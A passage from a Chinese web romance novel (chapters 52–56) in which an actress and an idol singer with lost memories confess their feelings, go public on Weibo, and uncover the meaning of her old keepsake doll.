林久期神色自然地径直走到洛澄的身旁,缓缓坐下,那熟悉的气息让她的呼吸都为之一滞,她微微低下头,不敢直视他的眼睛。
洛澄佯装若无其事地摆弄桌上的餐具。
不多时,服务员有条不紊地端着一道道菜肴上桌,锅底的红油在炉火的持续加热下不断翻滚。
洛澄没吃几口,突然肚子一阵剧痛袭来,疼得她脸色瞬间变得煞白。
她赶忙放下碗筷,低声对旁边的乔媛媛说了句“我去下厕所”,便匆匆离席。
火锅店没内的卫生间里,洛澄看着裤子上的一抹红叹了口气。
怎么还提前了两天。
幸好背包里带了。
洛澄深吸一口气,整理好自己走出卫生间。
刚一出门,却发现林久期正站在外面静静地等她。他眼神中满是关切,一眼就看出她脸色不好,上前一步轻声问道:“不舒服吗?”
洛澄下意识地回答:“没事。”
可话虽如此,她还是不自觉地用手捂着肚子,试图缓解疼痛。
她强撑着先回了包房,坐下后却发现林久期没有一起回来。
包房内的其他人还在热闹地吃着火锅,谈天说地,没有人注意到她的异样。
洛澄坐在那里,疼痛丝毫没有减轻。
大约十分钟后,林久期才回到包房,他回到位子上坐下,从包里拿出了什么递给她。
洛澄低头一看,是包暖宝宝贴。
包房内的欢声笑语和碰杯声交织在一起,他什么都没说,迎着他温柔的目光,洛澄心中微微一动,随即伸手接过,轻声道:“谢谢。”
这一声谢谢,在热闹的氛围中显得格外轻柔,却又仿佛带着一种别样的情愫,如同在喧闹的集市中奏响的一曲悠扬的小调,微微拨动着两人的心弦。
雨终于停了。
火锅店门口,昏黄的路灯散发着朦胧的光晕,行人的身影在灯光下被拉得狭长。
乔媛媛裹紧身上的外套,哈出一口白气,开口说道:“我要去我爸妈那,我就不回家了。”说罢,便挥挥手拉着黄谦走远。
其他几人也陆陆续续地离开,很快,门口就只剩下洛澄和林久期两人。
洛澄微微仰头,目光静静地落在他的身上。
他戴着黑色口罩和帽子,大半张脸都隐匿在阴影之下,让人看不清他此刻的神情,只有一双深邃的桃花眼,在夜色中闪烁着神秘的光芒。
“我送你回去。”他的声音低柔而富有磁性,打破了两人之间短暂的沉默,语气中带着不容置疑的坚定。
洛澄轻轻点了点头,算是应允。
两人并肩朝着路边停靠的那辆银色布加迪走去。车身在路灯的映照下,闪烁着冷硬而奢华的光泽,仿佛一头沉睡的银色野兽。
车子驶入茫茫夜色之中。
车内轻柔的音乐弥漫在整个车厢内,然而,两人都没有讲话,仿佛生怕打破这份宁静。
洛澄的目光透过车窗,望向车窗外那被夜色笼罩
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的街道。
而林久期则专注地握着方向盘,眼睛直视前方,可那微微收紧的手指,似乎也在泄露着他内心并不如表面这般平静。
火锅店离浣林小区并不远,二十分钟左右就到了。
车缓缓停下,洛澄的心中涌起一丝难以言喻的不舍,而林久期坐在驾驶座上,手指不自觉地收紧,眼神中也流露出同样的眷恋。
“早点休息。”
林久期打破了沉默,声音透过口罩,听起来闷闷的,却依旧让她的心弦轻轻颤动。
“你也是。”
洛澄回应着,目光交汇的瞬间,仿佛有丝丝缕缕的情丝在空气中缠绕。
“对了。”林久期像是想起什么,侧身从车后座拿出一个精致的礼物盒,递向她,“这个给你。”
洛澄有些惊讶地眨了眨眼,指了指自己,问道:“送我的?”
“嗯。”他轻轻应了一声,眼神中透露出一丝期待。
“谢谢。”
洛澄伸出手去接礼物盒,指尖不经意间触碰到他的手,那一瞬间,像是有微弱的电流通过,让她的脸颊微微泛起红晕。
她转身准备开门离开,手腕却被林久期轻轻拉住。她回过头,眼中满是疑惑。
他的声音低低的,却仿佛带着千钧的重量,“晚安。”
-
洛澄回到家中,靠在门上,心跳得厉害,仿佛要跳出嗓子眼。
过了一会儿,她平复了一下心情,走到客厅的沙发前坐下,小心翼翼地拆开礼物。
只见盒子里装着一条漂亮的裙子,裙摆如层层绽放的花瓣,细腻的质感在灯光下闪烁着微光,精致的剪裁和优雅的设计无一不透露着送礼人的用心。
洛澄轻轻抚摸着裙子,脑海中不由自主地浮现出林久期的身影。
洛澄将那条裙子仔细折好,放入房间的衣柜深处,随后,她完成洗漱,像往常一样躺在床上。
洛澄习惯性地打开微博小号,随意浏览着。不经意间,她发现林久期在几分钟前分享了一首名为《恋人未满》的音乐。①
看着那条微博,洛澄思绪万千。
什么意思?
他是想表达什么吗?
边想着,她手指不由在屏幕上敲下了一句话:【友情以上,恋人未满,我该怎么样告诉他我的心思?】
发送出去的那一刻,她的心也跟着微微颤抖了一下。
以往,她常常在林久期的微博下留言,可那些评论就如同投入大海的石子,毫无波澜地石沉大海。
不过这一次,她也并没有期待他会回复,只是单纯地倾诉了自己的心声。
留言之后,困意渐渐将她笼罩,她的双眼缓缓合上,进入了梦乡。
第二天清晨,阳光透过窗户洒在屋内,格外温暖。
洛澄哼着小曲儿在厨房准备早餐。
就在这时,手机突然响了起来,是乔媛媛打来的电话,电话那头的声音急促又激动:“快看微博!”
洛澄心头一紧,一种莫名的预感涌上心头。
她迅速打开微博,瞬间被眼前的景象惊呆了。
整个微博仿佛炸开了锅。
【林久期恋人未满。】
【林久期谈恋爱。】
【……】
几个话题已经高高地冲上了热搜榜。
什么情况?!
洛澄手忙脚乱地刷新着页面,不敢相信自己的眼睛。
洛澄眼睛快速扫视着屏幕,试图弄清楚到底发生了什么。
突然,一个醒目的小红点出现在消息栏,她深吸一口气,点开一看,竟然是林久期的回复,时间在凌晨一点。
“我也很想告诉她,我迫不及待想知道她的答案。”
53. 第53章
当看到他的那条回复信息时,洛澄眼睛瞬间睁大,先是不可置信地眨了几下,随后嘴角的弧度已然很难压住。
微信消息提示音骤然响起,清脆的声音在安静的厨房里格外突兀。她迅速看向屏幕,是林久期发来的“早安”两个字。
洛澄飞快在屏幕上敲下一个“早”字发送过去,心脏却在胸腔里怦怦直跳。
几乎是瞬间,林久期就回了消息。
【今天有什么安排?】
洛澄抿了抿嘴唇,手指在键盘上轻快地敲击。
【要去拍代言广告。】
消息刚发出不久,他的头像又出现在屏幕顶端。
【晚上有时间吗?】
看到这句话,洛澄的脸颊微微泛红,一种莫名的期待在心底蔓延,她回复。
【拍完广告就没事了。】
紧接着,他的消息再次弹了出来。
【好,结束了我来接你。】
洛澄放下手机,双手捂住脸颊,只觉得脸上滚烫滚烫的,她深吸一口气,试图平复自己紊乱的呼吸和紧张的心情。
过了一会儿,她猛地站起身,快速吃完早餐,然后匆匆回房收拾起来。
她在衣柜前仔细挑选着衣服,一会儿拿起这件比对着,一会儿又摇摇头放下另一件,嘴里还小声嘟囔着:“穿这件会不会太正式了?这件会不会不够好看啊?”
满脑子都是晚上和他见面的情景,以至于挑选衣服这样简单的事情,都变得无比重要和艰难起来。
洛澄精挑细选好一会儿,直到助理小玲打来电话催促她赶紧出门下楼。
-
摄影棚内,灯光交错,洛澄刚刚结束了一场紧张的商务广告拍摄。
工作人员纷纷上前礼貌问候:“洛老师,辛苦了。”
洛澄微微点头示意,在路过一群工作人员时,她无意中听到他们正热烈地讨论着当天关于林久期的微博热搜事件。
“林老师的恋爱对象究竟是谁啊?”
一位年轻的工作人员满脸八卦地抛出问题,她手中还拿着未喝完的咖啡,似乎这热搜比手中的咖啡更能提神醒脑。
“我看未必是真的在谈恋爱吧,他那首歌不是叫恋人未满吗,估计是还没在一起呢。”
另一个工作人员一边整理着手中杂乱的拍摄道具,一边若有所思地回应着,语气中带着几分猜测。
“我跟你们说,我妹今天早上一看到这个热搜,哭得那叫一个惨啊,简直就像是天塌下来了一样。她一直把林老师当成自己的梦中情人,这下可好,感觉像是失恋了似的,连早餐都没吃。”
一位年长些的工作人员无奈地摇着头,话语里既有着对妹妹的心疼,又有着对这娱乐圈八卦的调侃。
洛澄听到这些话,心中猛地一紧,像是被什么东西触动了一下,她担心自己的出现会引起他们的注意,进而引发不必要的猜测和麻烦。
于是,她立刻调整了自己的状态,放轻了呼吸,脚下的步伐也变得又轻又快,如同一只敏捷的猫,悄无声息地离开了这个是非之地,朝着地下停车场的方向走去。
地下停车场内,光线昏暗而安静,只有偶尔传来的汽车引擎声打破这份寂静。
洛澄的眼神迅速地在一排排停放整齐的车辆中穿梭,很快,她便找到了那辆熟悉得不能再熟悉的银色布加迪。
那辆车在昏暗的灯光下闪烁着冷硬而高贵的光泽,仿佛在静静地等待着她的到来。
洛澄没有丝毫犹豫,急忙走上前去,拉开车门,快速坐进了副驾驶座。
早已等候在车内的林久期,看到洛澄这般火急火燎的模样,眼中闪过一丝疑惑和担忧。
他微微侧身,将头转向洛澄,轻声问道:“怎么了?发生什么事情了?”
洛澄的心跳还因为刚才的匆忙而有些加速,她定了定神,努力让自己的表情看起来平静自然,避开了林久期那关切的目光,装作若无其事地回答道:“没事,就是拍摄有点累了。我们现在去哪儿?”
她的声音尽量保持平稳,但微微颤抖的尾音还是泄露了她内心的一丝不平静。
林久期:“最近新开了一家餐厅,味道还不错,一起去吗?”
洛澄抬眸看向他,应了一声“好”。
-
餐厅位于顶楼,位置极佳,视野开阔。
一踏入其中,精心的布置便映入眼帘。
娇艳欲滴的鲜花错落有致地摆放着,馥郁的芬芳弥漫在空气中。
整个餐厅里,只有他们这一桌,仿佛被他包了场,只为给两人营造一个静谧而专属的空间。
餐桌上摆放着精致的西餐,每一道菜肴都摆盘精美,香气扑鼻,令人食欲大增。
用餐时,洛澄的心思却全然不在美食上,她的脑海中一直萦绕着那个在网上传得沸沸扬扬的热搜事件。
她几次张了张嘴,想要问问他到底是怎么回事,那首歌和回复的话到底什么意思,可话到嘴边,却又被她咽了回去,始终不知道该如何开口才好。
她害怕是自己的自作多情,害怕听到一个不愿意听的答案。
也许是心不在焉,洛澄吃饭时嘴角不小心沾上了油渍,林久期瞧见了,便自然而然地拿起餐巾,倾身向前,动作轻柔地为她擦拭干净。
洛澄望着他专注的神情,鬼使神差般地伸出手,紧紧抓住了他伸来的那只手。
“九七……”她低低地唤了一声。
“嗯?”林久期的声音带着一丝疑惑,却也有几分温柔。
洛澄的脸颊微微泛红,像是下了很大的决心,她鼓足了勇气问道:“你是不是喜欢我?”
林久期凝视着她的眼睛,目光坚定而深情,毫不犹豫地回答:“是。”
洛澄的心跳得愈发剧烈,像是要冲出胸膛一般,她接着问:“那我喜欢你这件事,你知不知道?”
林久期眉眼弯弯,眼中满是宠溺:“大概知道。”
一时间,两人四目相对,周围的空气仿佛都变得炽热起来。
洛澄的心里有个声音在呐喊:我们要在一起吗?可
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羞涩却让她难以将这句话说出口。
林久期似乎看穿了她的心思,他从口袋里拿出一张门票,递到洛澄面前,缓缓说道:“下个月TheOne要在盐城开演唱会,你愿意来看吗?”
洛澄看着他手中的门票,又抬眸望向他那双令人沉沦的眼眸,“好。”
-
演唱会现场,宛如一场盛大的狂欢派对,现场人潮汹涌,,仿佛要将整个城市的热情都点燃。
洛澄和乔媛媛拿着林久期给的第一排内场门票,得以近距离感受这场视听盛宴。
TheOne作为娱乐圈顶流男团,现场星光熠熠,前来捧场的明星大腕儿数不胜数。
洛澄随意地环顾四周,那些平日里在电视上、杂志封面上光彩照人的娱乐圈红人,此刻都近在咫尺。
当演唱会的大幕徐徐拉开,那一瞬间,整个场馆仿佛被注入了一股强大的电流,气氛瞬间被引爆,热烈得如同火山喷发一般。
台上的三位TheOne成员闪亮登场。
他们身着时尚而华丽的演出服,浑身上下散发着一种让人无法抗拒的魅力,仿佛是从漫画中走出来的完美偶像,瞬间成为全场瞩目的焦点,吸引着所有人的目光紧紧跟随。
舞台上,炫酷的舞蹈和动感的音乐交织在一起,节奏明快而强烈,如同汹涌澎湃的海浪,一波接着一波,连绵不绝地冲击着人们的感官。
粉丝们的呐喊声如同雷鸣般在耳边回响,此起彼伏,似乎要冲破场馆的束缚,直达云霄。
每一个音符、每一个节拍都精准地踩在粉丝们的心尖上,让他们沉浸其中,无法自拔,尽情地释放着自己对偶像的热爱。
团队的表演结束后,场馆里短暂的黑了十秒钟。
尔后,聚光灯划破黑暗,精准地打在舞台中央,林久期站在升降机上,身姿优雅地缓缓升起,他像是降临的巨星。
刹那间,场馆内的声浪再度飙升,震耳欲聋的呼喊声中,他的名字被无数次地重复着,女粉丝们更是激动得满脸通红,口中不停地高喊——
“林久期!林久期!”
“老公!我爱你!”
场面堪称疯狂。
洛澄望着他,他身着蓝色的演出服,宛如静谧夜空中的蓝色绸缎,神秘而迷人。
他的舞姿飒爽有力,每一个动作都干净利落。
他在舞台上肆意绽放着独属于自己的光芒,每一个眼神、每一个动作都拿捏得恰到好处,仿佛他与舞台本就是一体,天生就该在这闪耀的聚光灯下接受众人的朝拜。
洛澄静静地坐在台下,眼神紧紧锁住他的身影,仿佛整个世界都只剩下他一人。那眼里是饱含的爱意。
然而,就在演唱会如火如荼地继续进行时,洛澄的手机却不合时宜地响了起来。一个又一个陌生号码如同幽灵般接连打来,打破了她原本沉浸在演唱会中的喜悦心情。
洛澄凝了下眉,按下了接听键,电话那头传来一个焦急而慌乱的声音。
“姌姌啊,你爸爸出事了!”
54. 第54章
在莫川县那略显陈旧的医院里,刺鼻弥漫在每的消毒水味道一寸空气中,让人心生压抑。
病房内,灯光黯淡,洛澄站在病床边,眉头紧锁,脸上满是担忧与沉重。洛于彬躺在病床上,腿部被厚厚的石膏包裹着,显得格外虚弱。
洛澄仔细打量父亲的伤势,心中五味杂陈,“爸,您怎么好好的就把腿摔骨折了呢?”
一旁的王姨满脸愧疚,不停地搓着双手,自责地说道:“都赖我,我新买了个大电视,想着自己搬不动,就喊你爸爸来帮我搬上楼,结果一个不小心,就出了这事。”
病床上的父亲,面色苍白,却仍强撑着扯出一抹笑容,“电视没摔坏吧?”
王姨一听,又好气又好笑,“你还关心电视啊,电视倒是没坏,可你人倒是摔惨咯。”
一旁的关羽嘴里啃着苹果,含糊不清地说道:“洛叔您可别担心,那大彩电的骨头可比您的骨头硬多了。”
关羽的话一出口,王姨立刻投去嗔怪的目光,“胡说什么呢你!家里的碗洗完了?”
关羽缩了缩脖子,没再吭声,只是低头继续啃着苹果。
关羽大学暑假放得早,已经回莫川有一阵子了。
原本她满心期待着能回家好好玩上两个月,可谁知道,从回家到现在,她整天不是在洗碗,就是在去洗碗的路上,她感觉自己都快成洗澡妹了。
她要是暑假工去饭馆洗碗还能有工资呢,在家里,只有老母亲的嫌弃。
洛澄正想着事情,忽地,听到手机震动的声音。她掏出手机一看,是乔媛媛打来的电话。
她走出病房,找了个安静的地方接听。
电话一接通,就传来乔媛媛心急如焚的声音:“小洛澄你怎么回事,发生什么了,一天了你电话不接信息不回。”
洛澄这才想起,自己走得太匆忙,从演唱会现场跑出来的时候,都来不及跟乔媛媛说一声。
“对不起啊媛媛,我爸爸腿摔骨折了,我这会儿在医院刚忙完。”
“啊?洛叔怎么弄的啊,严不严重?”
免得乔媛媛担心,洛澄的语气尽量保持的轻松些,“没事,修养一段时间就好了。”
“那就行。对了,你赶紧给林久期回个电话吧,他比我还着急,还以为你出什么事了。”
“好。”
挂了线后,洛澄立刻给林久期回拨了电话,电话嘟了两声就被接听了。
洛澄还未开口,那边就传来林久期急切的声音:“洛澄?”
洛澄连忙说道:“不好意思九七,我家里出了点事,我回莫川了。”
电话那头,林久期悬着一天的心终于放下,他松了一口气,“你没事就好。”
“嗯别担心,我还有点事,先不说了。”
说完,她便挂断了电话,转身回到病房。
-
医院的夜晚,格外寂静。
王姨来帮忙守夜,她看着疲惫的洛澄,心疼地说道:“姌姌啊,你去吃点东西吧,这里有我呢。”
洛澄应了声“好”。
走出医院大门,夜晚的微风轻轻拂过,带着一丝凉意。洛澄抬起头,却看到了一个熟悉的身影。
林久期正孑然一身地站在那里,静静地等待着她。
洛澄快步上前去,“你怎么来了?”
“怕你一人忙不过来。”林久期的眼里盛满了柔情,“吃饭了吗?”
洛澄摇摇头,她这一天都在医院里忙前忙后,根本没时间吃饭。
“走吧。”
夏日的街头,熙熙攘攘。
两人走进了一家旋转小火锅店,店里人声鼎沸,几乎座无虚席。
他们找了个靠门口的位置坐下,大门敞着,靠门外的位置时不时热风吹进,比起开空调的室内,这里热了不少。
洛澄刚坐下,便听到门外传来小女孩的声音,她侧眸看去,是一个穿着校服的女孩,她手拉着同样穿着校服的男孩,一同小跑进了店。
“跑快一点,要没位置了!”
看着他们,洛澄的思绪仿佛被拉回到了过去——
“九七,快点快点,再晚就没位置坐了。”
同样的一家店,相似的场面让洛澄有些失神。
旁边的林久期发现了她的异样,“怎么了?”
“没。”洛澄回过神来,尴尬地笑了笑。
锅底不知何时已经被老板端放上来了,热气腾腾的,散发着诱人的香气。
面前是一排自动旋转的菜品,琳琅满目,十分丰富。
林久期拿了几串面筋和虾,放进了洛澄的酸汤锅底里。
洛澄心尖一颤,“你怎么知道我喜欢吃这些?”
如果是以前的林久期,她肯定不会觉得奇怪。
可现在的林久期不一样。
洛澄忍不住试探性地问他。
林久期也愣了一下,他自己也没反应过来为什么会拿这几样,他只是下意识地觉得洛澄应该会喜欢。
他扯唇一笑,半开玩笑地说:“可能是默契。”
不知道为什么,听到这个答案,洛澄心里却有几瞬的失落。
她多么希望林久期能恢复记忆,想起他们曾经的点点滴滴,
她抿了抿唇,收起自己的小心思,开始吃起火锅来。
两人吃完晚饭后,林久期陪着洛澄回家拿洛于彬要换洗的衣物。
洛澄的家不大,可谓是麻雀虽小但五脏俱全,有很多可爱的卡通贴纸贴在房间的各个角落,桌上、冰箱上。
洛澄的背包随手搭在了沙发扶手上,她倒了杯水放在茶几上,对林久期说道:“你先坐一下,我收拾的很快的。”
说完,她便走进房间开始收拾行李。
林久期屈身坐在沙发上,喝着水,目光随意地浏览着整间屋子。
不经意地,他的目光落在了沙发扶手上洛澄的棕色手提包上,包上挂着一个Q版的男娃娃。
这个娃娃看起来有些破旧,衣服上有些残缺,断了一只胳膊,腿也长短不一。
林久期忍不住拿起来细看,总觉得这个娃娃很眼熟,好像在哪里见过。
他翻到娃娃背后,发现衣服上缝着两个英文字母——NS。
他拧了下眉。
NS是什么意思?
是她的初恋对象吗?
无数想法在他脑海中回荡,可还没等他想出个所以然,就听到了房间的开门声,他悄无声息地把包重新放回了沙发上。
洛澄提着小行李箱走出来,“走吧。”
林久期自觉上前接过行李箱,“好。”
他走在前面,余光瞥见洛澄拿起了那棕色的皮质背包。
两人在路边打了辆的士车。
车内,车内的空调送来阵阵凉意,与室外的炎热形成了鲜明的对比。
两人并肩坐在后排,林久期垂着眸,脸上有些疲惫之色。洛澄见状也不多言,她不想打扰林久期休息,便头靠着车窗,闭目养神起来。
一旁的林久期靠着椅背,垂下的眼半睁着,目光总是时不时地被旁边那个怪异娃娃吸引去。
他的脑袋里对于NS是什么这个问题,挥之不去。
下车回到医院,洛于彬已经睡着了。
洛澄和林久期坐在病房门口的椅子上,月光悄悄地从走廊的窗户潜入,洒在林久期的侧脸上,他一半的五官匿在微光里,显得有些清冷。
洛澄忍不住打
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了个哈欠,她从昨晚回到莫川开始,就一直忙个不停,一晚上都没有合眼。
林久期还没来得及开口,洛澄头靠在了他的肩膀上,睡着了。
林久期的身体微微一僵,他忍不住低眸抬手轻抚上她的脸庞,眼里的情愫快要溢出来了。
他脸上笑意温存,温柔的嗓音又低又沉:“辛苦了。”
-
林久期陪着洛澄在莫川待了一个多星期,洛于彬终于可以出院回家休养了。
“小林啊,这阵子真的多亏有你。”
林久期搀扶着洛于彬进屋,“洛叔,您客气了,应该的。”
洛于彬坐在沙发上,“没耽误你工作吧?你什么时候回盐城?”
林久期:“不耽误的,我下午就回去了。”
闻言,洛于彬转头对洛澄说:“姌姌啊,你跟小林一起回去。”
洛澄正在房间整理行李箱的衣物,听到父亲的话,连忙走出来说道:“爸,你腿都还没好。”
洛于彬摆了摆手,“不碍事,我又不是两条腿都受伤了,你现在工作忙,别为了这点小事影响你工作。”
洛澄还想说些什么,洛于彬打断她,“听我的,下午你们一起回去。”他又对着林久期说:“小林,在盐城,她就拜托你了。”
林久期看了眼洛澄,郑重道:“放心吧洛叔,我会照顾好她的。”
晌午后,热气蒸人。
林久期的车停靠在路边,坐在副驾驶上的洛澄看着林久期下车走进一家超市。
十分钟,林久期提着两大包购物袋出来。
洛澄:“怎么买了这么多。”
林久期把购物袋放在后座上,“路程远,怕你无聊。”
洛澄探身去翻,里面是一堆零食,她从中挑了巧克力豆。
车子行驶上高速路,洛澄觉得吃独食不太好,便问林久期:“你要吃吗?”
林久期专注地开着车,“我现在不太方便。”
过了一会儿,他又补充了句:“我想吃。”
洛澄心领神会,拿起一颗巧克力豆递到他嘴边。
林久期微微低头,含走那颗红色的巧克力豆,不经意间,唇瓣触碰到了洛澄的手指。
洛澄像是触碰到了一股电流,的心跳瞬间加速。
他弯起的唇角如月牙一般,“很甜。”
莫川县到盐城市区开车要将近4个小时。
回到市区已经是晚上九点过了,车子一路行驶,在抵达浣林小区时,林久期并没有停下的打算,他直直地从小区门口开了过去。
洛澄还没来得及开口询问,只见他开进了旁边的融庭小区的地下车库。
林久期停稳车,对洛澄说道:“我有东西想要给你,你方便跟我上去吗?”
洛澄没多问,只是应下,“好。”
两人乘坐电梯上楼。
林久期开门,侧身让洛澄先进了去。
洛澄走进去,眼前的景象让她呆住了。
整个房子被鲜花布满,花团锦簇,香气弥漫,仿佛置身于一个梦幻的花海之中。
她往里走,在客厅正中央的桌上,放着插着生日蜡烛的蛋糕。
“洛澄,生日快乐。”
林久期温润的嗓音在身后传来。
洛澄这才恍然,这阵子因为父亲的伤势,她忙得连今天是自己生日都忘了。
林久期有些紧张地说道:“其实,我过生日那天我就想跟你说了,时隔两个月,也不知道算不算晚。”
边说,林久期藏于身后的鲜花拿了出来,他那双温暖而明媚的桃花眼里盛满了温柔的星光,他深情地注视着她。
“我喜欢你,你愿意做我的女朋友吗?”
55. 第55章
“我喜欢你,你愿意做我的女朋友吗?”
洛澄痴痴地望着眼前的林久期,这一刻,时间仿佛静止了一般。
从高三毕业到现在,已经过去了这么多年,那些小心翼翼藏在心底的喜欢,那些青春里未来得及说出口的情愫在这一刻,都随着林久期的这句话,如潮水般涌上心头。
她因喜悦而躁动的心脏仿佛要跳出胸腔,那强烈的心跳声,她觉得林久期一定也能听见。
回想起过去的点点滴滴,那些有林久期的时光,此刻都变得无比清晰,宛如幻灯片持续不断地在脑海里播放,每一帧每一秒都无比清晰。
是只属于他们的一点一滴,是无数个夜中在她梦里上演了无数次的一点一滴。
洛澄的眼眶渐渐湿润,泪水不受控制地从眼角滑落。她怎么也没想到,在多年后的今天,还能再次听到这句话,还能和林久期站在这里,面对面诉说着彼此的心意。
林久期看着落泪的洛澄,心里有些慌乱,他伸出手,为她拂去脸上的泪水。
在他清淡的眼底,此刻也泛起了波澜。
心觉她或许还没有准备好接受这份感情,又或者,她并不愿意和自己在一起。
即使如此,他也不愿意见她难过。
他的眉心微微蹙起,心底一阵心疼,“怎么哭了?”
洛澄抬手迅速抹掉眼泪,深吸一口气,“我愿意。”
她的声音虽然带着一丝哽咽,但却无比坚定。
林久期听到这个答案,微微怔了怔,随即笑意蔓延,他张开双臂,把洛澄紧紧拥入怀里,像是拥住了全世界,“谢谢你。”
他附在她耳边低语:“谢谢你愿意让我来爱你。”
-
洛澄从剧组拍完戏,已经是半夜两点了。
结束了一天的疲惫工作,她拖着沉重的步伐走出片场。
当她看到地下车库里那熟悉的身影时,疲惫瞬间消散了大半。
林久期半倚着车身,他带着黑色口罩,只露出一双深褐色的桃花眼,眼尾安静略垂,带着几分清冷。
等洛澄走来,他自然接过她的包。
两人一起上了车,准备回家。
车子行驶在空无一人的街道上,车内随机播放着歌曲。
恰好,洛澄的主打歌《四年》流淌出来。熟悉的旋律在车内回荡,每一个音符都仿佛在诉说着一段故事。
林久期听着这首歌,不由一问:“我很好奇,你这首《四年》到底写的谁?”
洛澄故意卖着关子,挑了下眉,“不告诉你。”
林久期轻轻“哦”了一声,语气中带着试探,“你的初恋。”
洛澄假装吃惊的模样,手捂在张大的嘴前,“你怎么这么聪明。”
前方遇到了红绿灯,车子缓缓停了下来。
尔后,林久期探身凑近洛澄,他身上淡淡的白茉莉香味瞬间萦绕在洛澄周围。
还没等洛澄反应过来,他轻咬了下她的耳垂。
洛澄吃痛,轻哼了一声,“林久期,你这是在吃醋?”她一边揉着耳朵,一边笑着问道。
林久期发动车子,他也不否认,“嗯,没错。”
洛澄无奈地摇了摇头,不再搭理他。
也许是因为太累了,她渐渐有些困意,不知不觉就睡着了。
子开进浣林小区的车库,停好车后,林久期却舍不得叫醒她。
他就那样安静地看着她,看着她恬静的睡颜,心中的爱意愈发浓烈。
终于,他忍不住侧身亲了上去。
洛澄的睫毛轻轻颤动,在迷迷糊糊中醒来。
当她睁开眼睛,映入眼帘的是林久期放大的俊脸。
两人四目相对,眼中的爱意快要溢出来了,洛澄下意识地搂住他的脖子,主动吻了上去。
-
又过了几天,洛澄像往常一样去剧组拍戏。
可她一到剧组就发现气氛有些不对劲,剧组的人看她的眼神都很怪异,而且大家都在小声地说着悄悄话。
她心里有疑惑,但也没太在意。
直到有个小演员忍不住走过来问她:“洛老师,你是不是和林久期林老师在一起了?”
洛澄刚喝了一口水,听到这句话,差点呛着。
她和林久期在一起的事情一直都没有公开,她不知道对方为什么会突然这么问。她没有直接回答,而是反问道:“怎么这么问?”
小演员拿出手机,“我是到看网上爆出的照片有点像你和林老师。”
洛澄接过手机一看,只见网上爆出了很多她和林久期一起出入的背影照片,甚至还有他们在车上亲吻的照片。
照片里林久期的侧脸很清晰,一眼就能认出来,而她都是背影,没有正脸。但即便如此,网友们还是纷纷猜测照片中的人就是她。
洛澄一时间不知道该怎么回答,这时导演已经在喊开拍了。
她只好把手机还给小演员,匆匆去拍戏了。
当晚。
洛澄和林久期一起去餐厅吃饭。洛澄想起白天的事情,“你知道今天微博的事吗?”
“嗯,我知道。”他抬眸认真地看着洛澄,“我们交往这件事,会给你带来困扰吗?”
“不会。”
她的回答很干脆。
洛澄没想到,她这句简单的“不会”,居然让林久期直接发了一条微博。
晚上,洛澄穿着睡衣从浴室出来,在客厅倒了一杯牛奶喝。
家里的大黄猫正窝在沙发上睡觉,她轻轻坐在一旁,拿起手机刷了起来。
当她点开微博时,瞬间被吓了一跳。
第一条热搜就是《林久期官宣》。
“?”
洛澄一脸疑惑,她迅速点开林久期的微博。只见微博文案写着:“是情侣。”
正文只有这几个简单的字,还配了一张两人的合照,甚至还艾特了她。
她再看下面的转发和评论,数量已经达到了上千万。整个微博炸开了锅,她想点开评论区看看大家都在讨论什么,可是网页一直刷新不出来,整个微博都因为这条动态而瘫痪了。
其实,两人在一起的当天,乔媛媛就已经知道了。但是当她看到林久期这么大大方方地官宣时,还是激动得给洛澄连弹了好几条语音。
洛澄听着手机里乔媛媛的尖叫声,忍不住调低了音量。她仿佛能想象到
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乔媛媛在家里手舞足蹈的样子。
别说乔媛媛了,洛澄此刻的嘴角也根本压不下去。
就在这时,林久期弹来了微信视频。
洛澄深吸一口气,尽量让自己保持淡定,然后才接通了视频。
林久期看着视频里的洛澄,温柔道:“还没休息吗?”
洛澄瘫靠在沙发上,“刚洗完澡。”
透过手机视频,林久期那边的画面还是在剧组里。
他最近也一直在拍戏,可每天还是会中途抽空陪她吃个晚饭,结束后再赶回去。
“你们还没结束吗?”
林久期半阖着眼,看上去略显疲惫,声音也有些沙哑,“嗯,快了。”
话落,旁边有剧组的其他演员路过,把一杯咖啡递给林久期,“林老师,你的咖啡。”
林久期接过咖啡,道了声谢谢。男演员正好看到林久期手机里的视频画面,便打趣道:“在和谁打电话呢。”
林久期没有丝毫隐瞒,直言道:“女朋友。”
洛澄听到这句话,脸颊泛起红晕,有些害羞。等那个男演员走后,她对林久期说:“我先睡了,你忙完早点休息。”
半夜,洛澄躺在床上翻来覆去睡不着,脑海里都是林久期官宣的事情,心里的悸动久久不消。
枕头旁的手机发出两声信息提示音,是林久期发来的。
【结束了。】
洛澄迅速回复:【好。】
发过去后,对面就没音了。
大约过了半个小时左右,林久期那边才再次发来消息。
【睡了吗?】
洛澄像是专门在等他的回复一样,听到提示音立马拿过手机。
【还没。】
林久期:【我在门口。】
洛澄看到这条消息,惊喜地从床上跳起来,小跑着去门口开门。
“你怎么来了?”
见洛澄只穿着单薄的睡衣,怕她着凉,连忙脱下自己的外套披在她身上。然后,倾身抱住她。
他声音很轻,像是羽毛拂过,“想你了。”
-
第二天清晨,阳光透过窗户潜入屋内,落下斑驳的光影。
洛澄悠悠醒来,发现林久期已经在厨房做早餐了。
林久期端着做好的早餐放在餐桌上,抬眼片刻瞅见洛澄正在收拾她的棕色皮包,而包旁边依然挂着那个诡异的娃娃。
他像是随口一问,“这个娃娃谁送给你的?”
洛澄笑而不语。
林久期走过去,倾下身,双手撑在她身子两侧的沙发边缘。
他的碎发散落下来,遮住了他的眉眼,他又问了一遍,声音低沉而温柔,“谁送的?”
他把心中一直以来的疑惑终于问出了口,“NS又是什么?”
洛澄正视着他,眉宇轻佻,继续卖着关子,“你猜。”
林久期身子索性向下一压,将她摁倒在了沙发上,“嗯?”
温热的气息扑在洛澄脸上,酥酥麻麻的,洛澄浑身起了鸡皮疙瘩,她忍不住缩了缩脖子,“NS是缩写。”
“Nineseven。”
“是,九七。”
56. 第56章
日光穿透缝隙,仿若细碎金箔倾洒而下,于地面勾勒出一片片斑驳陆离的光影。微风轻拂而过,草叶悠悠摆动,似在与风私语。
“这是哪儿?”
洛澄绽出一抹浅笑,她将稳稳踩在石头上,而后用力一蹬,身姿轻盈如燕,刹那间腾空而起,眨眼间便干净利落地攀爬上了墙头。
“上来。”
林久期满心疑惑,可还是照做了。
墙壁的另一侧,是一条清幽静谧的林荫小道,沿着小道深入,便能瞧见一幢幢教学楼错落有致地排列着。
国庆节假期,整个校园不见半个人影,四下里静谧得仿若时间都凝固。
“这里就是盐城市一中,有初中部和高中部。”
洛澄一边前行,一边向林久期细细介绍着。
